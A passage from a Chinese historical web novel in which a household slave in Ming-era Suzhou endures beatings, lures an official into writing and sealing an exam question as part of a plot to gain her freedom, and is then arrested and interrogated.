好奇心驱使,她伸手往上扯了扯宋瑾的袖口,一片淤青露了出来,吓的她往后一退,只撞到乳母身上。
“告诉过你叫你别来了,让她歇着吧。”
乳母要带保保走,保保却不肯挪动:“我还等着你给我讲完琼英的故事呢。”
宋瑾倚在床上,轻声笑着:“你要想听,我现在就说与你听。”
“好啊,你说,我听着。”
春云搬了个鼓凳叫她坐了,自己则站在一边陪她听故事。
琼英自在梦中遇到一位神人教她功夫,自此躲在房中日夜练习,勤奋有加,竟真的练就了一身好本事。
忽然有一日,她的梦里出现了另一个清秀男子,教她飞石技艺,说是练成便可百发百中,离别时又告诉她,他是她的宿世姻缘。
醒来后琼英一试,竟真的百发百中,却不想被养母发现,她便一五一十的说了。养母将琼英的本事告诉邬梨,恰逢宋江前来攻打田虎,邬梨顺势推荐琼英,琼英便被封为郡主,随邬梨出征。
沙场之上,琼英英勇果敢,接连击败数人,可邬梨却被重伤,于是招人来医治,结果竟遇上那位宿世姻缘,原来是敌军将领张清假扮大夫,前来暗杀邬梨。
本就跟田虎有仇的琼英,当场叛变,一起鸩杀邬梨,又放走俘虏。
之后他们二人一起攻打田虎,活捉了田虎等人,琼英埋葬了自己的母亲,进京献俘,得到朝廷表彰,封她为贞孝宜人。
说到这里的时候,宋瑾停了下来,垂眸看向地面,保保有些按捺不住。
“那后来呢?不是有个什么宿世姻缘嘛?他们在一起了么?”
宋瑾的嘴角勾起一抹笑意:“在一起了,他们成了亲,后来琼英怀了一个孩子。张清出征,琼英留守京中,等待丈夫归来。”
“后来……”宋瑾的视线飘向门外,飘向远方:“后来张清打了胜仗归来,夫妻团聚,他们的孩子也平安出生了。”
“是男孩还是女孩?”
“一个女孩,”宋瑾看向保保:“一个像你一样聪明机灵的女孩。”
“那就好,”保保高兴地从凳子上蹦下来:“那她也喝过奶茶嘛?”
“她没喝过,我只做给你和你的季叔叔喝过。”
说到此处,宋瑾忽然想起来一件事,认真道:“可不可以答应我一件事,不要把我是女子的事情告诉任何人,尤其是你的季叔叔。”
“为什么?”
宋瑾道:“他若知道我是女子,就不会跟我买东西了,我卖不出东西,就挣不到钱,挣不到钱就要饿死了。”
保保扒拉着被子一角,仔细思考其中的关系,良久道:“好吧,不过你以后要给我讲更多的故事才行。”
“好。”
过了两日,宋瑾向柴夫人请辞。
柴夫人并不算特别待见宋瑾,毕竟因为她在文雅那头受了气,心里有些窝火,至于那顿宴请她早已忘却,只惦记着文雅驳了她的面子。
眼下见人请辞,她便顺理成章地将人送走,只是保保与春云约定,要时常过来陪她玩,柴夫人倒是答应了。
宋瑾回了食鼎楼,然而里头早已变天。
全锐与洪允,虽说是文新的人,然而已在文雅的授意下接管了整个食鼎楼。宋瑾重返也最多只是个厨役,还得看文雅肯不肯留她。
宋瑾没有办法,必须要有个生路,只得回了柏家去求文雅。
经过柴房那一夜,她终于明白过来,那座大院吃人不吐骨头。
留在外头还能想想法子,留在家里真的是死路一条。
宋瑾回了柏家,没能直接见到文雅,只叫她在院中等候,身边陪她一起站着的是陪她回来的春云。
她脱了那身保保赏赐的鲜亮衣裳,换成了那件撕破了的袄子,她想跟在宋瑾身边。
两人一直从巳时候到将近午时,杜鹃才出来叫她们进去,彼时二人的身子几乎冻僵,膝盖差点儿弯不起来。
屋里香薰燃着,火钵里头炭火烧的通红,一股热气冲着二人涌来,方才觉得活了过来。
“我还以为柴家那个会把你打死。”文雅坐在榻上,身子懒洋洋地倚着矮桌。
“柴夫人责罚了奴婢,解了气,也就放过奴婢了。”
“怎么罚的呀?”文雅说话时不爱抬眼看宋瑾,就好像没她这个人似的。
宋瑾牵着春云的手用力捏了捏,正欲说话时,春云忽然抢先开了口:“柴夫人将她关在房里几日不给吃喝,是柴家的小主人想听故事,想找人陪玩,这才将她放了出来。”
近朱者赤,近墨者黑,近宋瑾者,谎话连篇。
春云一开口,文雅倒是惊了一下,抬头看去,不知道什么时候这小丫头片子竟然昂起头来了。
她哪里来的底气?
文雅两眼一瞪:“这里几时轮得到你说话?”
春云好不容易鼓起来的勇气被这一瞪给瞪的缩了回去,脚步不自觉地往后退了一步。
“是柴家的小主人......她说想听故事的......让我......我们一起过去给她讲。”
春云低声辩解着,奈何文雅根本不乐意听:“她说要听就听?这天底下有那么多人,满苏州的先生任她挑选,她偏偏挑了我家两个奴婢。一样的贱骨头!”
文雅的两弯细眉蹙着,似是两把弯刀,看起来越发凶狠。
“敢跟老娘玩花样烧房子,我看你也是活腻了。你不是想出去么?你出去呀?你的红契在我手上,你看你能逃到哪里去。等你成了流民,我看那群男人不撕了你。一个奴婢居然敢耍主人,我看是反了天了。”
宋瑾咬着唇,任由那尖利的话语穿过大脑,刻下一道道痕迹。
“如今柴夫人放过你们了,你以为这事就完了?我还没解气呢。你也该想想,如何让我也出了这口恶气。”
文雅坐在榻上,恶狠狠地盯着宋瑾。
“任凭大奶奶处罚。”
“好,我若说打死你呢?”
宋瑾抿着唇,眼中噙着泪:“大奶奶是聪明人,自然知道如何打死奴婢不招来麻烦。”
文雅冷哼一声:“如今倒是学乖了,怎么不威胁我了?威胁我说打死你也要吃官司的,那柴夫人若是知晓,顺势再踩我一脚,也好出出气,你不是惯会这一套的嘛?”
“奴婢......再也不敢了。”
一滴眼泪顺着眼角滑落,可是文雅依旧没能放过她。
“不敢?我看你胆子大的很,要是不好好收拾收拾你,恐怕你将来都要骑到我头上来。”
说话间,一个眼神瞟向身边的杜鹃:“给
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我掌嘴,让她长长记性,看她以后还敢不敢跟我油嘴滑舌。”
“大奶奶——”
随着“啪”的一声响,杜鹃的声音戛然而止,一个巴掌精准地扫在她的脸上,阻止了她的求情。
“让你打便打,难道还要我亲自动手么?”
杜鹃捂着脸,挪着步子到了宋瑾面前,隐忍与无奈都落在对方眼中。
“啪——”
一个巴掌。
“给我接着打。”
又是“啪——”的一声。
宋瑾不记得自己挨了多少个巴掌,只觉得两边脸颊火辣辣的疼,文雅终于出声叫停。
“你就给我顶着这张脸,在后院里转上三圈,让大家都看看,敢违背我的人,是什么下场,然后滚回食鼎楼做你的厨子去!”
春云扶着宋瑾出了紫竹苑,在后院里慢慢走着,遇上的下人无不侧目,当初有多羡慕,如今就有多嫌弃。
这世界现实的很。
等走至第二圈时,她们在梅林院门口遇上了二娘赵依柳和四娘叶问芙,宋瑾愣怔了一下,方才行礼。
“数日不见,怎的遭了这样大的罪?”
宋瑾扯了扯嘴角,发现连苦笑也笑不出来,她实在笑不动了。
“本是我自己自不量力,大奶奶罚我也是情理之中。”说完她看了眼叶问芙,她依旧是目中无人的样子,斜睨着看向宋瑾。
“多谢四娘当日搭救,若非那个汤婆子,只怕奴婢早已冻死在柴房了。”
“少来谢我,有人菩萨心肠,央我帮忙罢了,换成是我,断断不会帮你。”
宋瑾这才明白过来,是二娘赵依柳的意思。
“多谢二娘。”
“也别谢我了,大家都是苦命的人,唉......你往后小心些,别再惹大姐生气,不然有你的罪受。”
宋瑾再次谢过了,赵依柳催着她赶紧走完好回食鼎楼去,快到腊月了,天气阴冷的很。
春云充做宋瑾的拐杖,在后院绕了三圈后这才出了柴家,两人慢慢地一起朝着食鼎楼走去,路人的目光肆无忌惮地投射过来。
两人无言地走着。
途径苏州府衙时,一顶轿子落在前方,宋瑾放慢了本就很慢的脚步。
她看见季舒白从轿中钻出,鲜亮的官服外面罩着一件石青色灰鼠皮披风,从上到下严严实实,看起来暖和极了。
宋瑾结结实实感受到胸中那股恨意犹如火山爆发一般势不可挡。
季舒白也没有想到一落轿便看到一张红肿的脸,那个人表情冷的像冬月的天气,陌生的很。
“文掌柜?”
季舒白喊了一声,声音有些惊讶,可宋瑾依旧是站着不动弹,更不行礼。
他朝前走了几步,上下打量了着宋瑾:“这是怎么回事。”
“小人办错了事,受了责罚,不是什么大事。”
“这怎么不叫大事......”
好歹是熟悉的人,曾经也相谈过几次,可是最近......
两个人都有些说不出话来。
季舒白垂下眼帘:“有些事情本官爱莫能助,还请你以后少去接触保保,她还小,不懂事......”
“明白。”季舒白话还没说完,宋瑾已然应了下来,反倒让季舒白说不下去了。
良久,他转身,可是很快又回头来问:“你为什么改了琼英的结局?”
宋瑾木然地眨了下眼睛,冷冷道:“现实已经足够令人绝望,一个编出来的故事,大人还不许她有个好的结局么?难道各个都要像小人一样,终生不得脱困么?”
季舒白愣了一下,垂下眼帘,没再说话,转身离去。
春云看着季舒白离去的身影,抬头问宋瑾:“你刚刚为什么不求求季大人,他喜欢吃你的东西,你又受了伤,万一他......”
“没用的。”宋瑾断然拒绝,“他不是个会轻易改变决定的人,与其低声下气,不如置之死地而后生。”
“什么......什么死地?”
宋瑾扭头看向春云,嘴角勾起一抹诡异的笑意来。
“他将来会帮我的,一定会。”
58. 合谋
宋瑾重返食鼎楼,却早已失去掌柜的位置,彻底沦为了一个厨役,地位甚至不如两个婆子。但宋瑾必须忍下这口气,直到红杏捧出一包碎瓷器渣。
是宋瑾曾经视若珍宝的德化白釉茶器,家丁来搜银子时意外打碎了。
那是宋瑾的一个梦,一个短暂的关于良人,关于自由的梦,如今已经稀碎。
她蹲在床边,抱着碎渣哭了许久才起身去厨房。
这天晚上,宋瑾做了一个梦,梦里棍子一次次落在她的身上。地点却不是柏家柴房,而是二十世纪的砖瓦房。
有些埋藏在深处的记忆,只要轻轻一勾,便再次成为宋瑾的噩梦。
宋瑾挨了打,柴家看在保保的份上请了医官,临走前柴夫人发了慈悲,将药和药方都给了宋瑾,其他人便没那么幸运了。
阿荣和两个伙计都挨了打,硬抗着,直到宋瑾回来把药分给他们。
后来宋瑾带回来的药吃完了,银子也没了,药材续不上,倒是阿荣取了些铜板买了药材。
就这样,几人一边吃药一边干活,全锐和洪允不许他们歇着。
身上的淤青还好,宋瑾只觉得大腿骨有些痛,既无法歇息,又无法请医,就这样落下了一瘸一拐的毛病。
春云与保保有约,隔三差五的往柴家去,每次都是宋瑾做好了点心,又提前教她怎么说故事,这才目送她过去。
保保很喜欢春云的故事。
一切按部就班,只有一个意外。
这天上午突然有人到店,说要找这里的文掌柜。
宋瑾边往外走边纳闷,她不做掌柜有些日子了,是谁来找她?
等出去一看,竟是季舒白身边的一个小厮。
“文掌柜,我家大人想要份点心。”
宋瑾声音低低的:“我已不是食鼎楼的掌柜,至于你家大人要点心,敢问要的是什么点心?”
“我家大人说了,什么点心都行,就是想吃掌柜的做的点心,往后每日申时请掌柜的亲自送到府衙来。”
宋瑾手指抠着手心,仔细想其中的原因,那小厮只管强调,每日下午申时亲自送来,不拘什么点心。
这话说完,所有人都明白过来,送点心是假,让宋瑾过去才是真的。
全锐与洪允即使明白也无力阻止,士农工商,季舒白压了他们无数头。
这一次宋瑾没有作怪,煮了一杯不算很浓的奶茶,用陶罐封好,捧在手心里,热热乎乎,一瘸一拐地送过去了。
索性府衙离的不远,奶茶还暖着,人便到了。
季舒白正坐在公廨的一间小书房里埋头写着什么东西,小厮引她进去后便退了出去,她只好站在那里等。
过了半晌,季舒白终于停笔抬头,见宋瑾依旧站着,开口道:“东西放下,坐吧。”
突如其来的转变,宋瑾有些不大适应。
“季大人找小人来,是有什么事么?”
季舒白坐到一张圈椅上,示意宋瑾将奶茶放在方几上,又命人取来杯子,将奶茶倒出来时,顺便给了宋瑾一杯,叫她一同坐了喝茶。
宋瑾有些受宠若惊,不知道季舒白打的什么主意。
“你这奶茶不错,喝起来很精神。”季舒白喝了一口,端着杯子说闲话:“就是不知道今夜要睁眼到几时。”
宋瑾一听便知道他发现这奶茶极醒神,忙开口解释:“其实是上次茶汤煮的浓稠了些,这一次淡许多,不会叫大人睡不着的。”
季舒白毫不在意地道:“其实我更希望他能提神。年下了,许多事情今年都要办完,不得不精神些,它,可以帮我。”
季舒白端着杯子晃了晃,宋瑾只是笑笑,并不说话。
她收敛了许多。
“说起来,你这奶茶的也是新鲜,这回又是同谁学的?”
像是打听,又像是随口一问,可是宋瑾明白自己家奴的身份已然暴露,再用什么广东老奴的理由说不过去了。
可是这回她没有撒谎,只是闭嘴不言。
季舒白看出来她的为难,也不再追问,只是换了一个话题。
“关于你的事情,柴恒已经告诉我了,只是本官实在爱莫能助......”
“我知道的季大人,”宋瑾开口拦住了季舒白的自辨,自行替他辩解:“对小人而言,我的痛苦是实在的,对大人而言,小人不过是千万个家奴之一。我经历的一切苦难,不过是个缩影,大人帮不了我,就像帮不了那千万人一样。救一人容易,救千万人难,大人若是开了这个口子,只怕往后会有无数人求上来,我能理解,所以大人不必对此有什么愧疚。”
季舒白垂下眼帘,不承认,也不否认,只补充了一句:“你不该利用保保,她还小,很单纯,不该卷进来。”
宋瑾对他撒谎,他可以接受,可是利用保保脱籍,对他而言实在难以接受。
人总要有个底线的。
宋瑾不辨,默认了这场指责。
奶茶喝过,宋瑾起身告辞,直到此刻季舒白方才看见宋瑾一瘸一拐的腿。
“你腿怎么了?”话刚问完,季舒白已经明白过来:“府衙里头有医官,我去请来瞧一瞧。”
宋瑾恢复了往常平淡的模样,礼貌笑道:“谢谢季大人,一点小伤,不碍事的,过些时日自然会好。”
说完便往门口走去,到了门口又回过头来,似是确认一般问季舒白:“大人说过,往后每日都叫小人送点心来,不会改主意吧?”
“不会的,你送来便是,我会叫人定时结账的。”
宋瑾微笑了一下,走出门去。
日子照常过着,春云三不五时的往柴家跑,宋瑾日日下午往府衙里头去,有时两人说几句闲话,有时候见不着人,倒是意外的平静祥和。
有一次季舒白问她如今不是掌柜的,日子过的如何。宋瑾浅笑着答他,说有他这单生意,她的日子再差也过的下去。
季舒白似乎很满意这个回答,因为她看见他嘴角勾了一下。
日子过的很快,自腊月起,整个苏州都沸腾起来,家家户户贴门神,挂灯笼,祭灶神,而宋瑾始终在厨房忙碌。
哪怕她做的菜最多,祭灶也是绝对不许她挨边的。
不止是她,女人都不许。
这个腊月没给她带来一丝喜庆,反而愈发忙碌起来。到了小年那日,全锐洪允回了文家,春云悄悄凑到宋瑾耳边,说要带她去一个“僻静”处找银子。
宋瑾跟在春云身后走着,不多大会子便到了那个“僻静”处。
这个“僻静”处一点儿也不僻静,就是离食鼎楼不远处的一个茅厕里。
原来那日春云见宋瑾走后,心中不安,常在门口张望,接着便发现柏家家丁气势汹汹地走来,当下便知道宋瑾出事了。
于是迅速回屋搬出匣子,从后院角门里溜了出去,并果断地扔进了粪坑里。
宋瑾说过,银子从哪里拿出来都是银子,可是真的面对一汪屎尿的时候,她又犯了难。
“要不......咱们找俩泼皮来帮着捞了?”
也只能如此了。
为了捞出那一匣子的银子,宋瑾花了两钱银子。
臭烘烘的银子也是银子,特别好使。
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>两人用水浇过匣子,抱出里头的银子塞在衣服里,好在宋瑾走路一直姿势奇怪,也没人察觉出什么来。
就这样,原本以为已经找不回来的银子又重新回到了宋瑾的手里。
这一回她选择在房中的床下挖出一个坑来,直接将银子埋进去,反正都是泥土,好挖。
宋瑾在床下挖的起劲,外头红杏采薇突然进来,见到这情形都惊住了。
“我的小姑奶奶,您又在做什么?”采薇走过来问道,红杏转头将门关上了。
“挖坑。”
宋瑾言简意赅,手上不停,采薇趴在床沿上道:“姑奶奶,您要做什么便做什么,只是别拖累了我们可好?您上次闯的祸还不够么?再来一趟,大家还要不要命了?”
采薇说的没有错,几个人都因为她挨了打,简直无妄之灾。
可是宋瑾......
宋瑾从床下爬出,脸上表情异常坚定:“这次一定能成,不光我能走,还能大家一起走。”
“你疯啦?”红杏也过来拦她:“大奶奶厌弃你,那是宁愿折磨你也不肯放你走的。”
宋瑾道:“不用担心,这件事我来做,就算不成,应该也牵连不上你们。你们若是想走,只需要到时跟我一起走就好了。”
红杏采薇都愣了,这叫什么话?
“这事不是那么容易的,要不要叫上阿荣他们一起来商量?”
红杏试探着问,宋瑾同意了。
宋瑾采薇红杏春云,加上阿荣和两个伙计,几个人窝在一起商议着脱籍和未来的打算。
采薇道:“我这个年纪早该出嫁了,若是能留在宅里,或许还可以找个人配了,在这里,我这辈子都完了。”
红杏道:“若是能脱籍回家自然是好,只是......只是我若回去了,恐怕也不是什么好的出路。”
宋瑾知道她本就是爹给卖的,要是回去了再卖,那真是白折腾一场。
轮到阿荣时,他没说话,反而先问宋瑾:“你前次回家,可见着杜鹃了?”
宋瑾猛然想起那一个响亮的巴掌。
“见了。”
声音有些低,阿荣察觉了出来:“可是情形不大好?”
宋瑾垂着头,没吭气,算是默认了。
阿荣叹了口气:“我本来跟杜鹃说好,将来要娶她的,如今这情形,也不知道还能不能行。”
阿荣说着说着落下泪来:“她本来在大奶奶身边伺候的好好的,我也在宅子里好好的,现在遇上这桩子事。大奶奶生气事小,若是不肯把杜鹃配我可怎么好?”
宋瑾自己是个榆木脑袋,前世对于周边八卦反应极度迟钝,就连自己也没谈什么恋爱,没想到来到这世界,遇上的第一对恋人就在自己身边,而她无知无觉。
“我若是走了,杜鹃还留在柴家,我岂不是更没有希望了?”
宋瑾明白过来,良贱不可通婚,他俩要么一起脱籍,要么一起留下,可是留下也未必能在一起。
从对待叶问芙就能看的出来,文雅这个人报复心极重,绝不会轻易让他们如意的。
“那就一起走。”
众人愣住:“你当你是神仙呢?一起走怎么走?”
红杏提醒她:“你若出去了,怎么活呢?”
宋瑾将那包银子丢在桌上:“脱籍的事情我来办,若是成了,大家一起走,若是败了,我一人承担,绝不拖累大家。若是能出去,这包银子便是底气,我们可以租间铺子,再开一家酒楼,定能养活自己。”
人人都望着那包银子,什么都可能是假的,唯有银子是真的。
59. 陷阱
宋瑾夸下海口,说要带大家一起走,至于具体方法,宋瑾一个字也不肯透露。
不说便是她一个人的事,说了大家都不得安全,索性一个也不告诉,只是默契地将那包银子埋在了床下,以免被全锐洪允瞧见。
自打这二人来了之后,食鼎楼里便再也没有往日的欢快了,一天天压抑的不得了,吃酒吃鸡的日子一去不复返,众人的怨气也是与日俱增,以至于在这件事上格外默契,对外只字不提。
大明两京一十三省,除去南北京师,除夕最热闹的大约就是苏州了。然而这一切都与宋瑾无关,她的“热闹”全在厨房里。
宋瑾在厨房忙碌,外头的炮仗响个不停,因为衙门里头歇了下来,季舒白也回了自己家,天寒地冻的,便免了她每日送东西,只教第二年继续。
宋瑾心中是感激的,因为他的特殊对待,哪怕只是一个小小点心,每天见上一面,就可以让全锐和洪允不敢随意打她。
但他也只能做到这一步了,可宋瑾要的不止这些。
第二年元宵过后,宋瑾恢复了往公廨里头送点心一事,只是季舒白时常忙碌,她不常见到人。
这是没办法的事,她只好掐算着时间等,等他哪天有空可以坐下来好好谈一谈。
这一天并没有等很久,三月初三上巳节这天,季舒白提出要求,要更多一些的点心,他要约友人同行踏春,要改在初五早间送来。
宋瑾应了,连夜开始做点心,各种口味的山药糕,酥油鲍螺,临出门前又备了双皮奶和焦糖布丁,以及一些其他点心,这才用食盒装好往府衙公廨里头去了。
三月春光好,季舒白所住的地方有个小天井,里头栽了一株桃树,如今正是开花的时候,粉红的花朵爬满光秃秃的枝丫,蜂群嗡嗡作响,热闹至极。
宋瑾站在那里,不像往日般没见着人放下点心便走,她安静地等着,等季舒白从里头出来。
季舒白似乎很喜欢绿色,今日也是穿的绿色。一袭芽绿缎地清地菊花纹的道袍,宽大的袖摆,洁白的护领,腰身用一根绿色丝绦系住,显得肩膀宽阔,腰身细长。黑色唐巾,粉底皁靴,整个人看起来英俊挺拔,体面雍容。
宋瑾觉得胸中那股恨意有些压制不住,慌忙垂下头去。
“季大人,您要的点心。”说完又补充道:“里头有些热点心,最好趁热吃才好。”
季舒白身边的小厮接了过去,听了这话后不知道该不该开了食盒请季舒白先吃些,只好看着他。
“开了,就在这院中吃一些。”
天井中有个石桌,四张石凳,季舒白在其中一张上坐下,小厮帮着开了食盒,取出几样热乎的点心来。
双皮奶和焦糖布丁都是见过的,倒是有一样宋瑾从未做过。
“你做了炮谷?”季舒白捡了一颗放入口中,尝了尝后轻笑着问:“怎的比别人的甜些?”
炮谷,也就是爆米花,只是古人大多埋于火堆之中来加热炸开,而宋瑾选择了拨下来,均匀地蘸上蜂蜜后油炸,味道自是不大相同。
“大人可喜欢?”
宋瑾说话时笑得温柔,季舒白瞧着却有些心酸起来。在宋瑾的脸上他见过太多笑容,谄媚的,讨好的,各式各样的,就是少见温柔的,她似乎真的被折磨不轻,连性子都跟着转了。
“很好,以后再送些来。”说完又玩笑似的问:“这炮谷总不会是一钱银子吧?”
宋瑾依旧笑笑:“大人说笑了,一碗玉米而已。”
季舒白就是想叫她放松下,说完话后见人依旧不走,心中有些奇怪,宋瑾不是一个爱在公廨里逗留的人。
“可要坐下说话?”
宋瑾没有拒绝,谢过季舒白后便在对面老实坐下了。
“你也吃一些吧。”季舒白把装着炮谷的碟子往宋瑾眼前推了推,宋瑾依旧不拒绝,捡了一颗来吃。
“上面有糖,吃完粘手,大人要备个湿手巾才好。”
宋瑾刚说完话,那小厮就转身去了,留下宋瑾和季舒白两人在树下坐着。
“大人可是万历二年的进士?”宋瑾似是闲聊一般问道。
“你是如何知晓的?”
宋瑾笑笑:“柴家的小主人那样仰慕你,我猜那日的题目是季大人考过的。”
提起那个游戏,季舒白不禁想到那个欺负人的宋瑾来。
“为何想起这件事来?”
宋瑾道:“二月春闱已过,如今殿试就在眼前,不知道这一回花落谁家呢。”
提起科考,季舒白的话多了起来。
“去年苏州府进京赶考的举子不少,就算得不了状元,那进士名单里也绝少不了。”
宋瑾心中清楚,苏州在科举上人才辈出,那名单拉出来也是长长的一串。
“听闻今年首辅大人的儿子也要参与殿试。”
季舒白听了这个话,往口中送炮谷的手停了下来,眉头微蹙,似是不悦:“既过了春闱,参与殿试理所应当。”
宋瑾知道他在想什么,只道:“那是自然,就算是首辅大人的儿子,也是要认真科考才能出仕为官。”
“理当如此。”
季舒白声音冷淡,宋瑾只定定地看着季舒白,看着他洁白的护领,忍不住用粗糙冰凉的手指摸了摸自己的袖口。棉布窄袖,有些地方已经磨破了,跑出来的棉线在袖口形成不规则的毛边。
宋瑾笑意加浓,问道:“大人可还记得那个游戏?”
“什么游戏?”
“我与柴家小主人的游戏,按理来说,该我出题了。”
季舒白嗤笑一声,似是忘记了刚刚的不愉快:“没想到你还记得这个事情,好啊,难为不到保保,如今改来难为我了。”
宋瑾依旧笑笑:“大人愿不愿意?”
“你出题。”季舒白放下手中的炮谷,手肘撑着台面,表情认真。
他一直很认真,很认真地往坑里跳。
宋瑾站起身来,在小天井里踱着步子,缓缓道:“从前听人说起这帝王之法,俱在周书洪范。书中有云,皇建有其极,而论用人者,当用三德。三德乃为权衡之术,沈潜,刚克,高明,柔克。表用循良,柔道理物,而总揽权纲者,与三德亦有合乎。有人疑者,曰政务严切,事从宽厚,异施也......若舍刚柔而求正直,不善用三德而云极建,应当何解?”
季舒白听的认真,不发一言,直到宋瑾说完才问:“你用周书考我?”
宋瑾道:“若是用诗经来考,岂非小瞧了大人。”
季舒白笑笑:“好,我接题,只是今日不大方便,本官约了友人,恐怕要下次再答了。”<
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p>宋瑾道:“不急,大人不约友人也有公务。如今已是三月,不妨等到四月稍闲的时候,再来回答小人。”
季舒白道:“也好,等本官空闲时候,自到食鼎楼回答你的问题。”
宋瑾又道:“只怕时日长久,小人又没有大人的好记性,忘了就麻烦了。大人可否写下来?”
季舒白道:“这个简单,你随我来。”
宋瑾跟着季舒白去了那间书房,自水丞里舀了水帮他研墨,季舒白坐在太师椅上伏案写字。
书房里安安静静的,宋瑾的心收的紧紧的,研墨的手有些颤抖起来。
等季舒白写完,抬头玩笑似的问她:“可要加上本官的花押?”
“能添上自然是好。”
季舒白取了瓷印,沾了印泥,重重一按后,将那张纸递给宋瑾。
宋瑾将纸托在手心,一面看着上面的文字,一边慢慢等着墨迹变干。
字迹工整,笔笔娟秀,像是官家的文书,而不是给宋瑾的一纸记忆。
“大人,”宋瑾忽然发问:“三德者,一曰正直,二曰刚克,三曰柔克。沈潜,刚克,高明,柔克,海大人不受重用,是否朝廷也觉得他过于刚强?”
提起海瑞,季舒白刚刚恢复的面色又暗沉了下去:“朝廷用人,自有其法。”
宋瑾又问:“若以三德分,大人觉得自己属于哪一类?”
季舒白眯起眼睛反问:“本官倒觉得此事应当问你才好,你觉得我该归于哪一类?”
宋瑾想了想道:“正直。”
“为何?”
宋瑾道:“中正和平乃为正直,季大人拒绝为小人脱籍,是因为蓄奴本为朝廷所允,大人不能因小人与您相识,便私用权力,助我脱籍,此为中正。小人因脱籍受苦,大人心生怜悯,日日要小人送点心至公廨,免小人更多苦痛,此为善良。善良者自然和平,所以我说大人应当归于正直。”
季舒白无声笑笑:“我以为你会恨我。”
“大人,事有对错,与恨无关。”
季舒白还要问,恰逢小厮进了来:“大人,外头几位大人都等着您呢,该走了。”
诸多疑问没有问出口,季舒白有些遗憾,却也不得不走。宋瑾利落地将那张纸叠好,揣入怀中告辞离去,直至离开府衙那条街,宋瑾那颗心才终于松了松。
她在大街之上狂奔起来。
三月的风,带着丝丝暖意,可宋瑾察觉不到一丝温暖,只觉得那风穿过棉衣瞬间凉透,几乎将她的整个身体冻僵。等跑回食鼎楼,她才发现早已泪流满面,那眼泪被风吹着,在脸上划出数道泪痕。
宋瑾坐到灶膛底下,从怀里摸出那张纸来,清楚地看见左下角写着“万历八年三月初五日”,季舒白那漂亮的红色花押几乎刺痛她的眼。
她没敢细看下去,将那张纸塞进火红的灶膛里,明火遇着纸,瞬间燃透,红色的火光照在宋瑾满是泪痕的脸上。
她知道这场火终将在现实中燃起,而第一个被烧到的将是她自己。
宋瑾对着火光发呆,没注意到一只脚冲她肩头踹来,踹的她人往地上一倒。
“一大早的出去了就不回来,不知道要杀鸡啊?午时就要送出去的鸡,到现在还活蹦乱跳的,耽误了时辰你来担责嘛?什么东西,给我外头杀鸡去!”
60. 审问
自那日之后,宋瑾便没再见过季舒白,因为他忙,更因为宋瑾躲着他。
她不想见他,反正早晚要见的,何必自己凑上去呢。
何况,她那么狠毒。
更何况,这件事已经没有挽回的余地,她不想有任何心软的时刻。
这一天来的很快,四月中旬的一个午后,宋瑾正在后院里刷碗,季舒白穿着官服,领着皂隶,怒气冲冲闯入食鼎楼。
“给我拿下文子晋!”
食鼎楼里的食客四散而去,宋瑾被人从后院里两脚不沾地地提出来,指尖上滴滴答答,面色却十分平静。
季舒白站在她的对面,一双好看的眼睛几乎喷出火来:“将人带回衙门里,本官要亲自审问。其他人给我搜,所有纸张全都带走,一张不许留下!”
食鼎楼里顿时尖叫连连,一片混乱。
宋瑾叫人抓到了衙门里,不是过堂,而是带进了一间用来审讯的房间里。昏暗的光线中她还是看清了周围摆放整齐的刑具。
直到这一刻,宋瑾才终于真正体会到什么叫腿软。
没有罪名,皂隶们直接将人绑在了柱子上,有典吏过来问话。
“这是何人?什么罪名?”
“原先食鼎楼的掌柜,叫文子晋,季大人叫抓的,他会亲自来审。”说罢人便走了,只留下一个典吏面对吓到嘴唇发白的宋瑾。
“所犯何事?”
那典吏问话,宋瑾却不答。
“不说也无妨,等用了刑,想说的,不想说的,都会说出来。”说完又上下打量着宋瑾:“我瞧你这身子骨,怕是熬不过去的。”
宋瑾也觉得,这一回她是熬不过去的。
约莫过了小半个时辰,季舒白从外头进来,独自一人,只手上提着一个包袱,上面沾染了不少泥土。
当真是掘地三尺。
典吏见人来,忙躬身拜见。
“此人本官亲自审问,你出去。”说罢将那包银子丢在桌上,砸的哐的一声响。
“季大人,这......这恐怕不合规矩吧?”
典吏有些犯难,季舒白却坚持:“一应后果由本官承担,与你无关。”
昏暗的审讯室内只剩季舒白和宋瑾,四目对望,宋瑾不躲。季舒白原就严肃,此刻更多了些狠厉。
到了这个地方,当真是人也是鬼,鬼也是鬼。
宋瑾也要变成鬼了。
“说,那张纸在哪里?”季舒白走到宋瑾面前,强压着怒火问。
宋瑾却反问:“大人没搜到么?”
“你是一定要将所有人都牵连进来才甘心么?”
宋瑾撇过头去不答。
“说,那道题目从何而来?”季舒白继续问。
“什么题目?”
宋瑾明知故问,季舒白更加恼火:“你那日骗我写下题目,就是为的今日,对与不对?”
“大人错了,没有人想死,我也只是想好好的活下去。”
“没有人要你死,是你自己找死!本官与你无冤无仇,何故这样害我?”
宋瑾目光暗淡:“人杀鬼杀,被谁杀不是杀呢?若要我一生为奴为婢,供人驱使,我宁愿死在大人手中。”
“死在本官手中,这便是你的所求么?”
宋瑾看着季舒白那张因为过度愤怒而涨红的脸,问道:“若是大人杀我,不知会给我怎样的罪名?”
季舒白怔了怔,罪名?什么罪名?宋瑾能有什么罪名?又该是什么罪名?
宋瑾看着季舒白愣怔的样子,自顾自说道:“大人的问题我还没有回答,现在便来回答大人。”
“我乃柏家家生子,化名文子晋替主母在外经商,数月以来与府衙过从甚密,其中接触最多者乃是苏州府知州季昀季大人,其次单独见过监察御史罗元忠罗大人,还见过苏州府通判卢骏年......”
“你住口!”季舒白一声大喝,胸腔剧烈地起伏着。
宋瑾看着愤怒中的季舒白,突然笑了一声:“原来大人也会生气,也会愤怒,也会恨,也会怕。”
“可大人又如何知晓我的恨,我的怕?”
“大人官宦世家,进士出身,年纪轻轻便已是五品大员,光耀门楣,荣归故里,成为苏州府多少富绅家的座上宾。而我呢?柏家的家生子,生来是奴,死去是奴,生儿育女亦是奴,还只是个上灶的。在家中别说是家主,就是奴仆里头我都要低人一等,大人可曾体会过这种永永远远都低人一等的感受?”
“所以你便害我?”季舒白气的眼睛发红,像是要吃人的兽。
“我说过,事有对错,与恨无关。可究竟什么是对,什么是错,到底谁说了算?洪武皇帝恢复人殉,多少宫人枉死,百年后又取消人殉,不妨大人来告诉我,这人殉究竟对还是错?这洪武皇帝到底是对还是错?你敢说么?”
宋瑾开了口,便再也停不下来。
“所谓皇建有其极,就是独裁,就是专政,就是一家之言为最大,谁也不能反对。我是柏家的奴婢,认柏家为主,你读书多年,参加科举,出仕为官,自以为高人一等,也不过就是个高等奴婢,是皇家的奴才,你就是个笑话。”
